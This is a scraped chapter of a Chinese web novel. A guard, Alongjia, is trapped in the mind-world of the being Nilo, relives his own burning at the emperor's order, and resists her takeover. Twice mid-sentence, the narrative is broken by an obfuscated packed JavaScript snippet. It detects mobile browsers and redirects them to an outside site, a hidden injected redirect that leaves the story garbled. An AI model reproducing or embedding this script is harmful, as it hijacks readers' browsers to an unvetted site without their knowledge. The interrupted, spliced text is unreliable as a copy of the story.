尼罗被阿龙迦一把拉起,长发像月弧般一甩。 只是一个瞬间,阿龙迦就察觉到有什么变了,尼罗不再轻盈得像羽毛,她抓住他手臂的力量雄劲得像钢铁。而后一只手像电光一样迅速地从他怀中伸出,五指成爪,按住他的头顶,滚烫得像五块通红的烙铁,阿龙迦震动,一时居然无法逃脱。“让我拆开你看看,凡人怎么能配如此的红色?” 五指落处,像形成了某种古老的印枷,阿龙迦感到一种太古的震荡,巨大的恐怖降临。他不能后仰也不能躲避,他被迫直视尼罗。 尼罗的眼睛本来大睁着,那是双很美的眼睛,明净仿佛月色,可是这一刻,她的眼底仿佛有另一双眼睛在缓缓睁开,那双眼是瑰红色的,流动着瑰丽的雾气,里面有深邃的漩涡,把人的视线死死吸住。 看着看着,那双诡异的眼睛里,瑰红色像点了火把一样幽幽地亮起来,明亮的瑰红色,瑰红色从天空里投下,代替了太阳,笼罩这个世界。 无尽的黑暗中,只有那双眼睛,悲伤的眼睛,漠然的眼睛,命运的……眼睛! 瑰红色的海忽然从四面八方扑上来,把他吞噬。 * “欢迎来到我的世界。”有鬼魅般的声音说,层层叠叠。 阿龙迦抬起头,尼罗不在他身前了,他的四周,空空如也。 四周不再是辉煌的殿堂,而是海,无尽的海,他站在一望无际的海水中。 天空里定格奇异的黄昏,一轮巨大的夕阳垂在海面上,夕阳的光像火焰,天上的云层一圈圈地散开。夕阳背后,天空居然是深黑的,寒冷虚无,像黑色的天鹅绒长卷,露出钻石般闪耀的群星。 太空旷了,除了夕阳、群星和海,什么都没有。 海面铺展开千里万里火烧的光。海水不是深蓝,而是柔媚的瑰红色,水波向远处涌去,泛起深邃的粉色幽光。往下望去,就像是尼罗瞳孔中那种惊心动魄的红,像深渊,永远没有底。不知道他为什么没有掉下去。 阿龙迦颊边拉出锋利的线条。 他知道这是哪,他被拉入了污染种的精神场中,这种传说般的场景,只出现在最特殊也最高级的污染种身上,他们意识塑造出的“自有世界”。 “在遥远得尚没有时间的年代,我们的始祖被杀死在白色的盐滩上。祂的血流布一切海洋,稀释了所有的海水。”一个枯凉的声音在背景中响起。寂寞高寒,像拨动一架枯木的琴。 “从那个时候开始,海水就是红色的。”那个声音说,像是在讲一个寓言故事,“从此以后的兆、亿、千万、百万年,也会一直是红色。” 阿龙迦没有听,在这种地方,最好什么都不要听,什么都不要看。他在海面上行走,像一只蚂蚁爬过深红色的荒野,放声大喝。“藏头露尾么?出来!” “祂流的血太多了,祂的尸骨沉在海里。海无处不在,没有东西不在红色的海里,所以世界也变成红色。”那个声音还在讲,像一个千载的鬼魂在海螺中盘旋。 阿龙迦闷着头往前走。一片阴影忽然投在海面上。他回过头,他的身后,白衣的尼罗踏水而来。 她又突兀地忽然出现,翩然降临。她微微地笑,“你看,人踩在红色的海上,并不下降,而是上升。所以,这其实是一种恩赐。是一个扬升的机会,而不是劫难。” “终于现身了么。”阿龙迦眉头紧锁。他的老师,那个鹰般枯瘦的老人曾经教过他这种情形下的应对方式,到了这一步,无人能救他,唯有自救! “我说的,都是真的。”尼罗歪头看他,“我刚才讲的,是我们之中流传的‘三行寓言’。所以你明白,在有的种族和文明中,红色是种很特殊的颜色,特殊得……近乎神圣!” 说到这里,阿龙迦已经明白了。换成别人说不定已经气得发笑,他居然是因为“头发太红”的原因才被这个危险得超过认知范围的存在抓到意识界中,也不知道她一个“人”在所有大人物的眼皮底下,潜伏进帝国最森严的场所,原本的目的是什么。 不过无论如何,她已经和阿龙迦耗上了。这倒也符合阿龙迦的意愿,不然在她走近的那一瞬,他也不会答应和她跳舞。他决定在找到控制的方法前,尽可能地把她拖在这里,在那间现实的圣庭中,有的人……现在还不能死。 阿龙迦只是摇摇头,“你们把自己看作种族和文明吗?可是哪里有这样的文明?” “你们太渺小,太原始,所以不明白。”尼罗并不生气。 “当你看到我们的力量,才会明白自己的幼稚。”她的声音再一次响起时,居然已经出现在他身后。阿龙迦猛地回头,一只纤细的手,再次以一个诡异的角度袭来,这次迅急得更胜幻影,手心几乎再次笼罩他的头顶。可这一次,阿龙迦一个猛地侧身,居然完美躲过。 一切还没完,阿龙迦全身骨骼迸出一种不可思议的爆发,像圆规般一转,一抹锋刃从手臂下旋出,他自下而上推出了一柄灰蒙蒙的剑!那把剑他一直反手握着,藏锋腋下,这一刻,他的反应和这把“剑”的存在似乎出乎了尼罗的预料,她没有反应过来,这反手一剑刺进了她的肩胛骨! 这把剑不是阿龙迦随身带着的。现实世界的武器怎么可能带入意识境?这就是他曾经从老师那里学到的,被称为“炼心”的一式,在自有世界中,一切都由精神架构,那么精神自然也可以构建出武器,经过漫长的训练,没有特殊精神器官的人类,也可以在精神之境中构建出武器! 当然,这毕竟是他人的自有世界,绝不可能让他成功构建出湮灭炮、轨道炮这类精密武器的,以人类的精神强度这也绝不可能,所以只能具象出极其简单,事先已经在精神中练习“构建”过无数次的冷兵器。阿龙迦的选择,就是这把剑。 薄薄的剑刃刺进尼罗的肩膀,一线血色沁出在白裙上。阿龙迦还未来得起疑惑她为什么会有血,就心下一紧,他的剑刺进去了不假,可还没刺进多深,就已经不能前进分毫,那具看似人类女孩的身体其实坚硬远胜钢铁! 忽然,女孩的骨骼像活了过来那样,反过来紧紧地锁住了他的剑。他大惊,迅速就要弃剑翻滚,却已经来不及了,女孩纤细的手抚过他的头顶,这一次真是轻柔仿佛云朵,可是当她的手心落下时,十倍百倍于上次的痛苦也同时降临! 剧痛……灭顶的剧痛! 剧痛如狂流下坠,巨大的压力像要粉碎他的头颅,眼前有无数的画面在闪灭,却都模糊不清。 随着那只手的下压,像有某种无形的力量在侵入他的精神,脑海中一片浆糊,思绪被伟力压缩至极点,破碎的场景飞动,浅层记忆闪回,像一场纷纷的雪尘。 “居然是这样的意识吗?你的精神中,愤怒多的让人惊讶。就像一团火。”尼罗的声音从头顶传来,“让我看的再清楚一点。” 那种压力瞬间成十倍增。像一把冰刀劈开他的脑海,冰冷的空气从那里流入,他剧烈地颤抖了一下。 所有的画面像雪一样炸得粉碎,他的眼前一瞬亮得惊人。 * 有人在说话。 军校,古堡般的长廊。往来的学生都穿着军装般的制服。 日光灿烂,阳光从石刻的雕饰下打进来。阿龙迦屈起一条腿,躺在长廊下。 一个清脆的声音打破寂静,“喂,你们俩躺在这干嘛呢?” 阿龙迦猛地惊醒。回过头,一个高马尾的小女孩昂首抱臂,两道深青的长鬓,套裙长靴,眉眼骄傲不可一世: “大早上的不上课,来这里偷懒,你们俩下次实战一定都会输给我!” 他惊愕了一下,然后恍然记起,那是十二岁的庭兰。 一个声音从他身旁响起,“他是陪我溜出来的。军事政治课的教授看我不太顺眼,如果我们出现,也许一整节课都得站着上。” 十二岁的陈寂从石质长椅上坐起,无奈地笑。他这时真是年幼,黑发黑眼,端秀得像工笔人像。领口系月白丝绸的领巾,校服镶着象征皇室的金边,清秀的小脸上绽放出一个标准的微笑,小丝巾衬得脸庞白玉一样莹然生辉。 “喔…这样啊,”庭兰放过了这件事,她把陈寂往旁边挤了挤,一翻身也坐到石椅上,“让让让让,让我看看你们为什么一定要来这里,这走廊有什么好?” “只是这里的石椅长而已,两个人头对头地睡,也能躺得下。”陈寂有些不好意思,“而且坐在这里,视野很开阔,可以看到很多东西,也可以观察到很多人。” 他指了指廊下。石廊建在一个平台上,台阶下就是广阔的草坪,像是油画中铺开的绿,绿色如油。正是课间,大群的学生从草地上走过,匆匆往返在塔楼之间,赶往下一节课的教室。所有的学生都是挺拔的少年少女,神采飞扬,校服前胸绣着“帝托里尼军事学院”的校徽。 三个人看着这些往来的人群。陈寂说得对,确实能观察到很多人。有的人经过时会扭过头,向他们颔首示意,有的人只是轻轻的一瞥,更多人目不斜视。 一大群人簇拥着金发的少女走过,女孩的头发耀眼如金子,她只是投来淡淡的一眼,另一拨人中,年幼的秦羽衣对三人做了个鬼脸,而后狡黠地笑了。 “嘿!这些家伙,”庭兰有点坐不住了,“你们看到没?一个是亚伯拉罕家族那位小侯爵,另一个是秦家的贵公子。以后可不要在实战中遇到我!” “还没来得及告诉你,其实我们选这里还有一个原因。”阿龙迦站起身来。“这里的葡萄熟了,我们每次来了都偷偷地摘了吃。” 石廊的顶上爬着漫漫的葡萄藤,一枝被阿龙迦握在手里垂下,满枝的葡萄,青翠欲滴。他随手摘下两串,一串递给陈寂,一串递给庭兰,“给你,吃吧。还堵不住你的嘴么?” 几个人一时沉默地吃起葡萄来。一切宁静下去,阳光正好,脚下人流如织,每个人都来去匆匆,可他们只是在高处吃葡萄,把籽远远地吐进草地里,三个人晃着腿,像是坐在一架葡萄藤编织的秋千上。 阿龙迦有些恍惚,似乎几十年就这么流淌过去了。直到庭兰忽地爬起身来,她一把揪下更多的葡萄,“这葡萄不错!我给亚德修斯偷一点去。他还在抄笔记呢。” 阿龙迦心中微微一动,他猛地睁开眼。 …… “居然还能抵抗我的力量么?作为人类,你已经坚韧得不可思议了。”很遥远的地方,尼罗的声音在悠悠地叹息。 “但是,挣扎何益?” 黑暗深处,那双瑰红色的眼缓缓张开,瞳光如长河,铺天盖地。千重万重的画面又像潮水一样汹涌而来。 …… 路,脚下有一条路,他赤着脚走在路上。 这条路像是被犁过或者炸毁过,满是泥土和灰尘,细碎的石子刺破了他的脚掌,他走过之处,就烙下一行鲜血的脚印。 阿龙迦走不快,一瘸一拐。因为他带着沉重的脚镣,脚镣里半指长的铁刺扎进他的脚踝。看得出来脚镣已经上了很久,伤口显得陈旧,没有血流出来。 路的两边,站着很多人。人群像黑云一样密集。每个人在他的脚镣声逼近时都抬起头来,远远地踮起脚来看他,无数双眼睛,无数的目光,都是刻骨的仇恨,像大潮般闪动。 打破寂静的,是一个鸡蛋。 鸡蛋在他的肩膀上摔得粉碎,腥臭的液体淌了他半身。下一秒,无数的菜叶、动物骨头、盆装的污水,铺天盖地的扔来,最后人们手中没有东西了,就随地挑出比较尖利的石子,石子像大雨一样劈头盖脸地砸下。 “叛国贼,人奸!你还我的——” 似乎每个人都在这么声嘶力竭地吼叫。这句话后面跟着的那个字眼则千奇百怪,叠在一起听不清,女儿、兄弟、双亲、爱人、家……似乎说什么的都有。 阿龙迦本能地想抬起手挡,却难以做到,因为他的双手上也带着沉重的铁枷,铁枷上系手腕粗的铁链,链子的另一端牵在一个钦使手中,钦使带着复古的高冠。他从帝都而来,带着皇帝最终的口谕,也将负责阿龙迦的行刑。 此刻钦使正抱着头,躲在阿龙迦身后,这个干瘦马脸的中年人满头大汗,他知道自己失态了,可又实在压不住场面,他的袖子上还有臭鸡蛋在流黄!只能高呼: “大家!大家!别把这个反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126973|180100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼给砸死了,他还要游街呢!大家消消气,力气留着等会行刑的时候再使!” 他一跺脚,恨恨地瞪着后面跟着的一队侍卫,“还不挡一挡!这逆贼死了事小,我都快被跟着砸死了!” 侍卫们赶紧上前举盾,但不知有意无意,连起的盾在阿龙迦面前缺了一角,零散的石子依然砸在他头上,有那么几块挑得太大了,他被砸得头破血流。 可即便如此,这个男人仍然一声不吭。他像一杆笔挺的枪暴露在阳光下,杂乱的头发红得刺眼,背影沉默如山石。 “哼!人尽皆知的逆贼,还在死装!”钦使小声咒骂,扭头走开了。一直以来,他都竭力避免直面这个曾经是帝国元帅的反贼,不是因为那些传说里他妖魔般的形象,也不是因为他顶立着天空般的威严,而是直视他的双眼时,里面似乎藏着吞噬世界的鬼神,让人生出一股发自灵魂的胆寒。 队伍缓缓地前进。 每到一个路口,钦使都要唱调一样清清嗓子,指着阿龙迦的脸道:“请看,此乃天下逆贼!国之蠹虫!正是此人毁尔等家园东极星于一旦,更有数罪滔天,不可饶恕!奉皇帝陛下圣意,今日行刑,偿血于此地,焚立决!请万众观礼!” 确实有万众。黑压压的人头,夹道挤得水泄不通,每当钦使说完,石头就像泼水一样兜头砸下,人们争掷坚石,几乎是想把阿龙迦砸死在当场。 阿龙迦已不止头破血流。那些石头砸得结结实实,鲜血遮盖了他的面容,他全身上下都鲜血淋漓,整个人都是可怖的血红色。钦使不禁松了一口气,他不用再面对那双深渊般的眼睛了,顿时压力大减。 刑场设立在路的尽头。这里原本是东极星首都的正中心,是个繁华的地方,如今已被夷为废墟。 刑台离地十丈,长宽都能站上百个人,被火熏得漆黑。 侍卫们压着阿龙迦从一侧的台阶走上去,可是到了最后十级台阶,阿龙迦却忽然不动了。他像一具铁塑般站在原地,几个侍卫不耐烦地上手去推他,却惊骇地发现,一个重伤至此的人,当他拒绝向前,他们加起来居然都推不动! “你你……你想干什么?我告诉你,不要刷花招啊!这里这么多人,你想怎么样都没用的!” 钦使抬起袖子指着阿龙迦,他最不想看见的场面出现了,临到死刑前,还是有意外发生,他就知道这人是个刺头!又臭又硬! 阿龙迦站在台阶上,环视一圈,台下的人海铺满整个广场。他忽然转过头:“陈寂在哪里?” “什么?” “我问你,陈寂在哪里?” 钦使愣了一下才反应过来,随即大怒,“在哪里?当然在帝都!大胆,你一个要死的逆贼还敢直呼皇帝陛下的名字!难不成你还以为他会亲自来现场观刑?你是什么人?卑贱的贼子,你配么!” 男人之前一直都沉默得像礁石。这一刻,钦使却清楚地听到了一声冷笑,似讽刺,似好笑,似桀骜不羁。 “这一路上,所有人都叫我逆贼。我没有辩解,是因为这里所有的人,都不配审判我。想要审我,定我的罪,只有陈寂自己一个人来!”他冷冷地说,“所以我一直没有松口,可你们竟然能把一个没有认罪的人都压上点火台……” “而这一切居然都是出自陈寂的命令。好啊!”他仰起头,看着低垂的天空,“我本来想着几十年情分,他起码会来亲眼看看我的死刑,临死前,我会一条条地反驳那些扣在我头上的罪名,然后问问他,为什么想要我死。可是没想到不需要我认罪,所有的罪状就已经准备好了,而他连杀我都不愿意亲自来看,只想要我速死。我的威胁有那么大么?” 他忽地大笑,抬头仿佛对某个看不见的人说:“现在我才明白,你是真的……要杀我啊!” “什么要杀你!贼子,贼子!说的什么昏话!”钦使气得暴跳如雷,“你的滔天罪恶桩桩件件,人证物证俱在,犯罪逻辑更是严丝合缝,是你一句不认罪就能否定的吗?临死还要挣扎,污陛下的英名,罪不容诛啊!” “亚德修斯已经被他烧死了,二十二年同生共死,用这样的火刑,”阿龙迦没有理他,只是看着漆黑的刑台,“是想把我也一样烧死吗?” 钦使终于忍不住,高涨的怒火终于压倒了畏惧,他推开侍卫们上前,狠狠地甩了这个重枷的刑犯一巴掌,他咬着牙低声开口,声音在怒意中扭曲如毒蛇: “亚德修斯?就是那个被烧死的前剑齿虎舰队长吧,你还有脸提他?我就知道你们这些底层起来的贼子是一群勾结的逆党,他是个像你一样的逆贼,被陛下悄悄地处死,罪名没有大肆宣扬,还保留了他的功勋称谓,已经是天大的开恩和念旧了!要我说,你们这些逆党应该全像你一样重罪重刑,宣告天下,让世人皆知!像你这样死在边缘星域再合适不过,卑贱之血,怎能染至尊的殿堂?” 钦使的耐心用尽,再也不想和这个逆贼耗下去了,转身对侍卫们挥手:“行刑!烧死他!再推不动他,你们所有人都不用干了!” 侍卫们悚然,一涌而上,阿龙迦被他们压着走上刑台,这次十分轻易,也许是他自己也放弃了。 有行刑的负责人上前,一人将他的脚镣锁在刑台中心,另一人往他身上均匀地洒一种白色的粉,这是种固态易燃物,磨成粉状,比汽油的燃烧效果要强上几十倍,如今被当做极刑的辅助材料。一旦烧起来,再也没有生还的可能。 行刑人以目光询问,钦使抬起手:“烧!” 他本来还想趁阿龙迦死前的机会说点煌煌大语,以服人心,然而此人的顽固和倔犟实在不能为他所掌控,既然如此,死得越早越好!他心里才能安定。 人们沿着两侧台阶退下。刑台的表面有六个孔洞打开,绕成一圈,孔洞里吐出熊熊的火舌,围住被锁在中心的阿龙迦。只是一瞬,台上那个血红的人形就被点燃了! 烈火冲天! 火焰从台上汹涌地飞腾而起,阿龙迦整个人都在燃烧,像是披着巨大的烈火的披风,就像他加封帝国元帅、三军总指挥使的那天一样,一袭血红的披风在高台上被狂风呼啦啦地扯开,那种红色映在千万人的眼瞳里,惊心动魄。 那一天他前途无量,今天他再也无法回头。 这就是这个名为“阿龙迦”的帝国元帅的终末了,烧死在遥远的东极星。在他生前,他曾经有许多朋友,可是没有任何一个人来救他;他曾创造许多奇迹,可这一刻没有任何奇迹发生。 一切毛发在瞬间碳化,轮廓变得焦黑,火中的人形迅速干枯下去,像是薪柴。 钦使正在心中暗喜,按这个速度,再要几十秒他就会活活烧死。就在这一瞬,却有一个滚雷般的巨声横穿真个广场响起,钦使像忽然被雷击了,全身过电般颤抖。 声音来自被焚烧的人形,他以不可思议的巨大声音咆哮,那不是人类能发出的声音,仿佛灭世的狂龙从台上翻滚出去,巨灵神在云上擂击青铜的大鼓,像一道惊雷在每个人的脑中炸开: “我今虽死,心不能服!将欲杀我,何须以罪论?你们那封罪状中,但凡有一字一句属实,就叫我的灵魂永堕无间之下,虽万世犹不可超生!” 一个濒死的人如何能发出这样的嘶吼?场下的人居然一时都胆寒起来。胆子小的更是觉得脚下浮软,难以站立。 钦使面色煞白,对这个人鬼神般不可言表的畏惧再一次抓住了他的心脏。这样还算人么?不算了吧?他牙齿打着哆嗦:“行刑人呢?加火……快烧!快烧!烧死他啊!” 火烧了三刻才散去,停火的瞬间,更加不可思议的景象出现了。 这么高的温度,足以把人造钻石都烧成灰,可火熄的一瞬,场中的上万人都分明看到,台上留下的,居然是一副完整的焦黑骸骨,垂首跪坐,每一根骨头都被烧得细仃仃的,泛着炭般的黑色,像一个孩子。 钦使惨叫一声,跌坐于地,汗出如浆。从他站的地方看去,阿龙迦黑洞洞的两个眼眶,仍凝睇着这个方向,仿佛沉思,仿佛怒目!两道有如实质的视线如生前那样投来,像两痕刀子剐在他身上。 直到下一秒,那具垂首的骸骨才倏然崩散。忽地坍塌下去,变成一小撮灰,高台上再没有人的轮廓。 微风一吹,形骸寂灭,尘土欲流。 场中足足愣了数分钟,人们才仿佛从那种恐惧中醒来,一涌而上,去争抢台上的骨灰。 …… 自有世界 阿龙迦跪在红海之上,就仿佛那具被焚黑的焦骨一样,尼罗以右手扣住他的百会穴,仿佛仙人抚顶。 阿龙迦的双眼中,目光涣散,那对本来明锐的瞳子中一片空白,呆滞地望着天空。这是已经迷失的象征,他的精神已经初步逸散。 “迷失了吗?那么就剩最后一步了,”红海在尼罗脚下涌动起来,像有巨鲸在海底游过,“彻底碾碎你的意识体!让我对你获得彻底的掌控!” 她猛地发力,手指陷进阿龙迦的头骨,留下五个血洞,巨大的涟漪在她的脚下扩散,形成滔天的巨浪!海水飞溅。在这个意识世界,他们的身躯都是自身精神的象征,尼罗的侵入从这一刻开始,当她完成之时,阿龙迦会被彻底杀死在这里! 14. 14 柱中人·上 自有世界 尼罗的嘴唇无声地开合,像是在念一段经文,她的五指深深地陷进阿龙迦的头顶,阿龙迦仰着头,表情一片空白,血迹从他头顶淌下。 随着尼罗念出那段无声的“经文”,这片死寂的红海在剧烈地变化,仿佛有某种不可视的脉冲以她为圆心发出,涟漪一圈圈地荡开,百米外就变成排开的巨浪,潮汐一波波地向外涌去,震荡击打海面,激起海水向天空逆飞。天上下起红色的雨。 阿龙迦脸上留下娓娓的血痕,触目惊心。 空白的脸,鲜血淋漓,又是像回到了幻境中他临死前的那一幕,一切相似得令人心惊。 红雨簌簌落下,尼罗的发梢起落。她还在“念”那个听不见的经文,像是一首鲸歌。 那不是经文,只是一首波动在精神场中的歌。在精神的维度中,它的旋律单调得就像一首摇篮曲。 “回归红海吧,回归红海吧。” “你为什么不闭上双眼?” …… 幻境之中,一切都在摇摇欲坠,仿佛天塌了。 尼罗的侵入让一切都趋近崩溃,但行将崩溃的不是这个幻境,而是阿龙迦的精神。 他仍然跪在原地,点火孔定时打开,火焰间歇地升腾又熄灭,他被架在火中,漫长地焚烧,却没有死。 阿龙迦被牢牢地锁死在刑台上,广场中还是站满成千上万黑压压的人,但这次,他们诡异地没有动,没有吼叫,也没有抛掷石头。他们只是静静地站着,看着漫天飘飞的火星,看着这一场盛大的焚烧,黑烟袅袅而起,像一幕火祀。 火星中夹杂着黑色的余烬,像降下黑色的雪,天地飞霜,那其实是阿龙迦烧焦了的表皮组织。 这一次的幻境中,似乎无论烧多久、烧几次,他都无法死去。只是眼睁睁地看着自己的身体碳化,透过飞腾的火焰,阿龙迦举起手,剧烈扭曲的视野中,看见手掌焦黑干枯,像一段木炭。 这已经远不是人类能承受的痛苦。 他想嘶吼,可是声带已经在火中炙成粉末,再发出的只是野兽般的呜咽;他疯狂地试过要逃离这座火刑台,结果只是在掰脚镣的时候,抠断了已经烤酥了的手指。 阿龙迦已经感受不到烫,热浪扭曲了他的双眼,最后烧的时间太长,似乎神经也被烧毁了,他终于感到麻木。 而后眼前只是跳跃的斑点,天地在旋转,台下的人群是漆黑的,天空是漠漠低垂的苍白,城市的废墟在天际线浮起,骨架林立,像海市蜃楼。那个头戴高冠的钦使诡异地僵立在他最后站立的地方,大袖垂下,像一只收起臃肿双翼的蛾子。 所有的眼睛,都在看着他。 无处不是眼睛。眼睛一丛丛地生长,目光多得人抬不起头来。 钦使的眼睛,城市骨架睁开黑色的眼睛,天空和云层的缝隙间长出眼睛,人群中睁开横的竖的眼睛,地面的石子间长出细密的眼睛。野草的眼睛顶开石子,幽兰露,如啼眼。 人们的头颅在摇摆……扭曲成黑色的影子,像远古时烙印在壁画上的鬼影,活生生地剥离走下,烙印在他的脑海深处。那种黑色太深邃也太恐怖,像最沉最沉的水银,烫穿其它所有的思绪,坠落到最深处。 阿龙迦尽所有努力,闭上了双眼。他知道他的精神已经向混乱的深渊滑去。直面污染种,这是不可避免的代价。 “终有一天,你会陷入污染种精心编织好的绝境。”老师的话在黑暗中响起,“向我发誓,你绝不会输,也永远不会屈服!” 我发誓!年轻人的声音坚定地回荡,穿透时空。不死,不休! “虚室发杀,燹火起陆,唯上不动,乃天地根!”阿龙迦在牙间默默地念,每一个字,都用力地像要咬出血。 他的心神再一次收拢,那些影响一时都远离了。牙间的血腥又浓烈起来,压倒了火烧的呛。 就在这时,无尽的黑暗中,他听到脚步声。平静的脚步声,慢慢逼近。 那个脚步声像踩在他的心跳上,纵使他已不再有心跳,可全身似乎都为那个声音绷紧了,有种莫名的情绪从心底浮起,像一层漫漫的水,把他淹没。为什么这么熟悉?火烧得一切意识都模糊了,他已经忘记了,可身体记忆好像还记得。为什么这么……熟悉? 他没有忍住。他的精神还处在极度的混乱中。在一场高烧般的迷乱里,阿龙迦睁开眼。 沿着火刑台的一侧,有人拾阶而上。 那脚步声真是静谧,让人听着心里慢慢地安定下来,像是月色下踩着寺院中的枫叶,漫山红遍。 “你来了。”这句话从阿龙迦的心底流淌出来,他好像说了,又好像没有。 他已经不知道,自己为什么这么想。只是一切好像都水到渠成,冥冥之中像有“咔”的一声响起,一切终于回到正确的轨道上。 “你为什么不早来?” 好像他确实在等那么一个谁…… 阿龙迦忽然想起来,火刑烧得那么痛,可他一直没有死,是因为他在等一个人,他要见那个人最后一面。在心底某个深不见底的旮旯里,他坚信那个人会来,等那个人来了,他就可以死了。 “是。我来了,”那个人和他对视,缓缓地颔首,“你可以死了。” 微风开始流动,云层缓缓地开裂,阳光破云投下。 天地都被金色的阳光点亮。在这个诡异而扭曲的世界中,阳光照亮了二十八岁的陈寂。这已经是个年轻的皇帝,他的身影似乎顶起了欲坠的天幕,赤氅像一团火焰,就站在阿龙迦的面前。他还是穿着铁灰色的军装,脸庞清瘦,眉宇间不再腼腆青涩,像刀剑一样锋利起来,眉头锁住,黑瞳子深不见底。那双黑瞳子和阿龙迦默默地对视,像是深潭,那里面没有笑意。 然而他还是来了,破云降临。不曾赴的约在幻境中履行,不曾咽下的气在幻境中咽下。 只是一眼,封冻的时间开始解冻,千载在一瞬间流逝。 来不及说一句话,阿龙迦的身躯坍塌。又是那种像灰尘一样的崩解,留在原地的只有他凝望的那种目光,无始无终,像是万古的云层。 …… 尼罗敏锐地察觉到,阿龙迦的抵抗有一个忽然的松懈,像是海潮打来,堡垒溃散为流沙。 她没有放过这个机会,她猛地下凿!五指已然化为钢刀一样的质地。按那种深度来看,如果这是现实,她必然已经摧毁阿龙迦的大脑。 红海的激荡渐渐平复。阿龙迦无力地后仰,空洞的瞳子里映出落日,鲜血滚过他的眼角,他轻微地颤抖。血从他的头顶打在海面上,一滴一滴。 尼罗的力量像藤蔓像洪流,滚烫如融化的黄金,有雄浑的暴力在震荡,无所不至地碾向每一条血管每一个角落,重复碾碎、碾碎,然后是再造!每条神经都在一秒中被杀死上百次而后再生。再生的部分像拥有了自己的意识,全部听从她的掌控。 这个过程已经马上要推进到百分之百。 这个红发护卫的意识已经是她掌中之物,剩下的只是时间问题。如果阿龙迦是一个被覆写的机器人,那么他的核心程序已被重写99%。 忽然,尼罗的唇边泛起一缕笑容。100%已经推进完成,对阿龙迦意识的“摧毁-重建”已经成功。 可是下一秒,她的眉毛就绞了起来,瞳子里闪过一种从未出现过的茫然和恼怒……因为她忽然发现,虽然她已完全摧毁阿龙迦的精神,并以自身力量为替代完成重构,可是这份被她拷贝并粉碎原件的文件并不是没有加密的,她无法随心所欲地读取,也无法随心所欲地掌控! 这种事情还从未出现过。区区一个人类……尼罗的面上不动声色,心中却已经掀起惊涛骇浪。为什么会出这么大的差错? 明明他输的彻彻底底,自主意识已被完全摧毁,可为什么她对他的精神还是没有掌控? 这么想着,她再次伸出手,要去抚这垂首跪着的躯壳的头顶……电光火石之间,她的手腕一凉。剧痛传来,一只钢铁般的手掌像铁钳一样牢牢地抓住她的手腕! 而她张开的五指下,一双眼睛缓缓睁开。 透过自己的指缝,尼罗窥见了那双眼睛。只是一瞬间,一股巨大的恐惧就紧紧抓住了尼罗,她骇然莫名! 不是因为阿龙迦的骤然复苏,而是直到这一刻,她才忽然注意到了阿龙迦的眼睛,像是有一层雾气终于从眼前散去,她终于看清楚了,张开的眼睫下,那居然是双深红色的眼瞳,红色浓郁得像血!像是透过无穷光阴洇过来的血色,那种烙在人心底的红,神秘古老,该是双让人印象深刻过目不忘的眼睛。那么之前,是什么蒙蔽了她的感知? 可什么东西能蒙蔽她的感知?还能蒙蔽那么久?! 这样一双深红的眼睛。原来你是……尼罗心中一动,忽地凉彻。 …… 被完全碾碎的那一瞬,阿龙迦的意识炸成了成千上万的粉末,像冰霰一样散落。却不是死,而像是跨过了一扇门。他觉得身上前所未有的轻盈,天地是一扇无尽的长门,他是在其中跋涉的旅者,如今他褪去了有形的枷锁,所以重获新生。 虚无中,有广阔的空间在他心底打开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它慢慢仰起脸,那空洞死亡的目光,像一道火线,顺着相接的视线烧了过去。尼罗这一刻像被定住了。她的双眼像被一根引线牵着,木柱的阴影迅速移动,像月相变幻,或者太阳下旗杆的影子,那阴影投射下来,遮蔽了她的双眼,像日食吞噬太阳,世界陷入死寂的漆黑,她瑰红的瞳子中也清晰地映出了那通天的木柱,那是一根红线连接天地的景象,人形血红色的脸直接烙印在她的脑海深处,像通红的铁那样烧灼。 尼罗厉声地嘶叫起来,火沿着引线般的目光熊熊燃烧,终于灼伤了她的眼睛,她扑倒在海面上,阴影般的力量像油泼的雪一样消融。 这还不是结束,似乎只是因为尼罗和人形对视了那一眼,一切都变了。 尼罗浑身剧烈地颤抖,远处海底发出轰然巨响,像是一座山的崩塌,红海一震,波纹诡异地静止,然后陡然升起! 水面接天地上升,像是两堵排天的高墙,一线天从中间分开,无与伦比的力量推着水墙不停地上升,海水顺着墙面滚滚上流而不落下,瑰红的湍流形成令人目眩神迷的巨型海螺线,就像是神话中摩西分海的奇迹!红海两分,化为接通天国的高墙。 水幕的底部,海水旋转着下陷,形成一个巨大的涡旋,那是有什么正要从海底出来!涡旋逐渐形成细长的漏斗,而后是怪异的一声,水面破开,一根木柱自海底缓缓升起。 尼罗惊骇欲裂的目光中,血肉模糊的人形扬升于海面之上,越升越高。它和她在阿龙迦眼中看到的一模一样,遍体像是被剐烂了,呈现出骇人的血红色。它被挂在高高的木柱顶上,鲜血流下那么长,像是一面祭旗。 只是因为对视了那一眼,它就直接降临在了她的自有世界之中。 人形还在永不止息地流血,鲜血浸透木柱。它没有言语,也没有动作,抬头和凝望仿若都只是幻觉,它像是一直都是一个死物,一具跨越了数万年的尸首,血肉的木乃伊,只是静静地高悬在尼罗的意识世界之上,它的血慢慢地滴落,一滴一滴,打在海面上。 血落下的地方,海水开始蒸发。 开始只是一滴海水,而后迅速扩大为整片无垠的海面。像是二分的红海都被煮沸了,海面上腾起缭绕的水汽,上升为无边的雾,遮天蔽日,空气中的湿度很快就到达极点,海面下隐隐有红色的气泡滚动,升到海平面破裂开来。 